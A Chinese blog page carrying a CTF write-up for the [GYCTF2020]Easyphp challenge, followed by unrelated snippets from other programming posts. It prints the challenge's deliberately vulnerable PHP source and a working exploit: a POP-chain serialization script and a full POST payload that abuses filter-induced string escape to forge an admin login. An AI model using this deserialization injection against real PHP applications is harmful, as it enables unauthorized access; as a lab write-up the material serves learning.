当前位置：首页 > news >正文

[GYCTF2020]Easyphp

news 2026/2/8 21:02:11

[GYCTF2020]Easyphp

知识点

反序列化、字符逃逸

解题

审代码

<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好！".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));  //反序列化传入头->Info::unserialize}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);  //->Info::__callreturn "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);  //->dbCtrl::update($sql)}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);  //开始反序列化$upDate=new dbCtrl();}public function __destruct() // -开始头->User::__toString{echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败，错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误！');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>

所以初步构造链子：

<?php
class User
{public $age=null;public $nickname=null;public function __construct(){$this->nickname = new Info;$this->age = 'select id,passwd from user where username=?';}
}class Info{public function __construct(){$this->CtrlCase = new dbCtrl;}}
Class UpdateHelper{public $sql;public function __construct(){$this->sql = new User;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name = "admin";public $password = '1';
}$o = new UpdateHelper;
echo serialize($o);

然后经过字符逃逸

就是利用字符被替换的长度来进行逃逸，我们构造出来为：

age=1&nickname=1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

反序列化为

O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:343:"1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}";s:8:"CtrlCase";N;}

总共有343个字符，多加几个union

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

传入，

然后admin登录，密码随便，得到flag。

[GYCTF2020]Easyphp

[GYCTF2020]Easyphp 知识点反序列化、字符逃逸解题审代码 <?php error_reporting(0); session_start(); function safe($parm){$array array(union,regexp,load,into,flag,file,insert,"",\\,"*","alter");return str_replace($arr…...

编程日记 2024/12/10 10:49:30

JavaScript 数组的高级用法与最佳实践

在前端开发中，JavaScript 数组是不可或缺的工具。它们不仅用于存储数据，还提供了丰富的方法来操作和处理这些数据。掌握 JavaScript 数组的高级用法和最佳实践对于编写高效、可维护的代码至关重要。本文将深入探讨 JavaScript 数组的高级用法&#xff0c…...

编程日记 2024/12/10 10:48:27

通信协议 http、tcp、udp

目录 1. 五层网络协议 2. http 3. tcp、udp 4. tcp 3次握手、4次挥手 5. socket 6. httpclient 遇到的问题 1. Q: 使用 EntityUtils.toString(responseEntity, "UTF-8") 中文乱码 2. Q: org.apache.http.NoHttpResponseException: 221.6.16.203:8890 failed …...

编程日记 2024/12/10 10:47:26

Scala的隐式对象和隐式类

1.隐式对象 object Test1 {case class DatabaseConfig(drive:String,url:String)//隐式对象//格式:就是在对象前面加一个 implicit//作用:给函数当默认值implicit object MySqlConfig extends DatabaseConfig("sqlserver.jdbc","localhost:3306")//定义一…...

编程日记 2024/12/10 10:46:24

【AIGC】2016-ACCV-即时追捕：自然环境下的自动唇音同步

2016-ACCV-Out of time: automated lip sync in the wild 摘要1. 引言1.1 相关作品 2. 表示和架构2.1 音频流2.2 视觉流2.3 损失函数2.4 训练 3. 数据集3.1 编制训练数据 4. 实验4.1 确定口型同步误差4.2 应用：主动说话人检测4.3 应用：唇读 5. 结论参考文…...

编程日记 2024/12/10 10:45:23

启智畅想集装箱箱号识别算法，2台相机即可实现较高识别率

启智畅想集装箱箱号识别算法，在货车通道中使用时，一般配备2台相机即可。启智畅想集装箱箱号识别算法，在货车通道中使用时，一般配备2台相机即可实现对集装箱箱号的精准捕捉与识别。这两台相机分别安装在货车通道的后侧和随意侧面&a…...

编程日记 2024/12/10 10:44:20

让IIS支持PUT请求解决IIS里不支持PUT请求的问题405 Method Not Allowed

文章目录一、问题描述二、解决方案1.删除WebDav模块2.修改Web.config（可选） 一、问题描述好不容易系统开发好了，兴高采烈地上线，部署好了网站，访问正常，打开方式正确！ 但当我修改某些数据时&…...

编程日记 2024/12/10 10:43:19

入门级捡垃圾工作站记录

入门级捡垃圾工作站记录想法一直想着拥有有一台自己的多功能机子，一个笔记本很难事事包办，本来打算配一个台式机，后来研究了一下，索性捡垃圾拼装的工作站，性价比更高，稳定性也更强，而且还可…...

编程日记 2024/12/10 10:42:18

2024.12.9——攻防世界ics-06

知识点：index文件 ics 文件（iCalendar 格式文件） bp抓包密码爆破题目：云平台报表中心收集了设备管理基础服务的数据，但是数据被删除了，只有一处留下了入侵者的痕迹。一、解题思路 step 1 打开靶机审题…...

编程日记 2024/12/10 10:41:16

微信小程序介绍-以及写项目流程（重要）

前言：本篇文章介绍微信小程序以及项目介绍： 文章介绍：介绍了微信小程序常用的指令、组件、api。tips：最好按照官方文档来进行学习，大致可以我的目录来学习，对于写项目是没有问题的微信小程序官方文档https…...

编程日记 2024/12/10 10:39:12

国内国际标准！羊毛衫检测项目、检测要求及标准

本文整理了羊毛衫检测项目、检测要求及标准有关内容一、羊毛衫检测项目羊毛衫的检测项目主要包括以下几个方面： 纤维含量检测：检测羊毛衫中羊毛及其他纤维的比例，确保纤维质量符合产品标识或相关标准要求。甲醛含量检测：测…...

编程日记 2024/12/10 10:37:09

MySQL知识大总结（进阶）

一，数据库的约束 1，约束类型 1not null非空约束，标记这个字段不可以为空2unique唯一约束，标记这个字段的值是该列唯一的值，在这一列的其他行，不可以与该字段相等3default 默认约束，在该字段没…...

编程日记 2024/12/10 10:35:04

【C语言】库函数常见的陷阱与缺陷(2)：字符串转化函数

目录一、atoi 函数 1.1. 功能与用法 1.2. 陷阱与缺陷 1.2.1. 输入验证不足 1.2.2. 溢出问题 1.3 安全替代 1.4. 代码示例二、atof 函数 2.1. 功能与用法 2.2. 陷阱与缺陷 2.3. 安全使用建议 2.4. 代码示例三、strtol 函数 3.1. 功能与用法 3.2. 陷阱与缺陷 …...

编程日记 2024/12/10 10:32:59

渗透测试基础

渗透测试基础是指对计算机系统、网络或应用程序进行模拟攻击，以发现其安全漏洞和潜在威胁的一种安全评估技术。通过模拟真实的攻击场景，渗透测试帮助组织了解其系统的安全弱点、验证防护措施的有效性，并提供改进建议。渗透测试的核心概念 1…...

编程日记 2024/12/10 10:31:58

传奇996_53——后端ui窗口局部刷新

描述：一个大窗口，点击某个键，弹出小窗口。小窗口中将msg存进变量中大窗口中判断一个参数是否为null，如果不为null，说明界面不是第一次打开，而是被刷新了。就加上小窗口的那个变量有时小窗口中还有其他…...

编程日记 2024/12/10 10:29:53

C++ constexpr vs const

笼统的讲 constexpr 主要用于编译时期，const用于运行时，但实际上两者都可以同时用于编译时期和运行时。 const const可以修饰全局变量，局部变量，函数参数，指针，引用，也可以修饰类成员函数&…...

编程日记 2024/12/10 10:28:50

【达梦数据库】存储过程调用实践案例-select

目录前言创建表插入数据查询表中数据创建存储过程打开dbms_output包输出开关调用存储过程前言如果要在存储过程中执行一个SELECT语句并处理其结果，你不能直接使用EXECUTE IMMEDIATE，因为EXECUTE IMMEDIATE主要用于执行那些不返回行的语句（…...

编程日记 2024/12/10 10:27:49

041_Compare_Matrix_Squre_Sum_in_MATLAB中矩阵平方和的比较

矩阵平方和的计算矩阵平方和的定义矩阵平方和的定义是对矩阵中的每一个元素进行平方，然后求和。对于一个矩阵 A A A，其平方和定义为： sum ∑ i 1 m ∑ j 1 n A ( i , j ) 2 \text{sum} \sum_{i1}^{m}\sum_{j1}^{n} A(i,j)^2 sumi1∑…...

编程日记 2024/12/10 10:26:47

TimeXplusplus——提高时间序列数据的可解释性，避免琐解和分布偏移问题的深度学习可解释性的框架

摘要论文地址：https://arxiv.org/abs/2405.09308 源码地址：https://github.com/zichuan-liu/timexplusplus 信号传输技术的优化对于推动光通信的发展至关重要。本文将详细探讨线路编码技术的目标及其实现方式。线路编码旨在提高带宽和功率效率&#xf…...

编程日记 2024/12/10 10:25:44

批处理读取文本第n行并赋值给变量？--遍历所有行并赋值给变量数组

::TraceLines.bat goto :test1http://www.bathome.net/thread-27229-1-1.html#批处理如何获取txt文本中某行某列的内容/指定行指定列的内容 http://www.bathome.net/thread-47304-1-1.html#如何用批处理读取文本第二行并赋值给变量？ https://github.com/npocmaka/ba…...

编程日记 2024/12/10 10:23:42

条件运算符

C中的三目运算符（也称条件运算符，英文：ternary operator）是一种简洁的条件选择语句，语法如下： 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true，则整个表达式的结果为“表达式1”…...

编程新知 2025/12/6 22:50:48

Golang dig框架与GraphQL的完美结合

将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用，可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器，能够帮助开发者更好地管理复杂的依赖关系，而 GraphQL 则是一种用于 API 的查询语言，能够提…...

编程新知 2025/12/31 8:38:23

大语言模型如何处理长文本？常用文本分割技术详解

为什么需要文本分割？引言：为什么需要文本分割？一、基础文本分割方法1. 按段落分割（Paragraph Splitting）2. 按句子分割（Sentence Splitting）二、高级文本分割策略3. 重叠分割（Sliding Window）4. 递归分割（Recursive Splitting）三、生产级工具推荐5. 使用LangChain的…...

编程新知 2025/11/18 0:32:13

【Go】3、Go语言进阶与依赖管理

前言本系列文章参考自稀土掘金上的【字节内部课】公开课，做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程，它的核心机制是 Goroutine 协程、Channel 通道，并基于CSP（Communicating Sequential Processes&#xff0…...

编程新知 2025/10/7 0:32:40

ardupilot 开发环境eclipse 中import 缺少C++

目录文章目录目录摘要1.修复过程摘要本节主要解决ardupilot 开发环境eclipse 中import 缺少C++，无法导入ardupilot代码，会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

编程新知 2026/1/31 5:06:34

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录一、SQL注入二、insert注入三、报错型注入四、updatexml函数五、源码审计六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关&#xff0…...

编程新知 2026/2/5 2:28:27

如何在网页里填写 PDF 表格？

有时候，你可能希望用户能在你的网站上填写 PDF 表单。然而，这件事并不简单，因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件，但原生并不支持编辑或填写它们。更糟的是，如果你想收集表单数据&#xff…...

编程新知 2026/2/6 22:20:51

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统实现kefu123登录，不允许匿名访问，kefu只能访问/data/kefu目录，不能查看其他目录创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...

编程新知 2026/1/25 9:03:19

【Go语言基础【12】】指针：声明、取地址、解引用

文章目录零、概述：指针 vs. 引用（类比其他语言）一、指针基础概念二、指针声明与初始化三、指针操作符1. &：取地址（拿到内存地址）2. *：解引用（拿到值） 四、空指针&am…...

编程新知 2025/6/21 2:18:57

使用Spring AI和MCP协议构建图片搜索服务

目录使用Spring AI和MCP协议构建图片搜索服务引言技术栈概览项目架构设计架构图服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式（本地调用） SSE模式（远程调用） 4. 注册工具提…...

编程新知 2026/1/25 14:31:47

[GYCTF2020]Easyphp

知识点

解题

相关文章：